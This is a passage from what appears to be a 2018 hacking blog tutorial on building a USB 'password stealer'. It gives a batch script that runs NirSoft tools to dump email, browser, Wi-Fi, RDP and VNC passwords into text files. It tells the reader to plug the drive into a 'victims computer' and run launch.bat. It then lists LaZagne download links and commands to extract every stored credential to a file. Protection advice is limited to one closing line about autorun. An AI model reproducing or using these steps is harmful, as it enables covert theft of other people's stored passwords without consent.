    start PstPassword.exe /stext PstPassword.txt
    start WebBrowserPassView.exe /stext WebBrowserPassView.txt
    start WirelessKeyView.exe /stext WirelessKeyView.txt
    start rdpv.exe /stext rdpv.txt
    start VNCPassView.exe /stext VNCPassView.txt

    For Windows 7 and Above:-

    So now for the users running Windows 7 and above the simple thing what you can do is just plug in you USB password stealer into victims computer and Run launch.bat and it will do all the work for you.
    And now you have hacked all the passwords stored on that computer.

    The LaZagne Project !!! An all in One Password Recovery Tool:-

    The LaZagne project is an open source application used to retrieve lots of passwords stored on a local computer. Each software stores its passwords using different techniques (plaintext, APIs, custom algorithms, databases, etc.). This tool has been developed for the purpose of finding these passwords for the most commonly-used software.
    The LaZagne project
    It is a really cool tool that can be used for the same reason. Here you can get the full source code of the tool. GitHub Lazagne
    You can download the executable windows file from here:-
    Standalone Executable: https://github.com/AlessandroZ/LaZagne/releases/
    The cool this about this tools is that it is available for Linux.
    Here is how you can use it.
    Usage
    • Retrieve version
    laZagne.exe --version
    
    • Launch all modules
    laZagne.exe all
    
    • Launch only a specific module
    laZagne.exe browsers
    
    • Launch only a specific software script
    laZagne.exe browsers -f (for firefox)
    
    • Write all passwords found into a file (-oN for Normal txt, -oJ for Json, -oA for All)
    laZagne.exe all -oN
    
    • Get help
    laZagne.exe -h
    laZagne.exe browsers -h
    
    • Use a file for dictionary attacks (used only when it’s necessary: mozilla masterpassword, system hahes, etc.). The file has to be a wordlist in cleartext (no rainbow), it has not been optmized to be fast but could useful for basic passwords.
    laZagne.exe all -path file.txt
    
    • Change verbosity mode (2 different levels)
    laZagne.exe all -vv
    
    Note: For wifi passwords \ Windows Secrets, launch it with administrator privileges (UAC Authentication / sudo)
    Here is the list of software it support.



    How to Protect From It.

    Disable Autorun on your pc. Don’t plugin unknow USB drive in your pc.



     

    Copyright 2018 Deoffuscated.

    Designed by &deoffuscated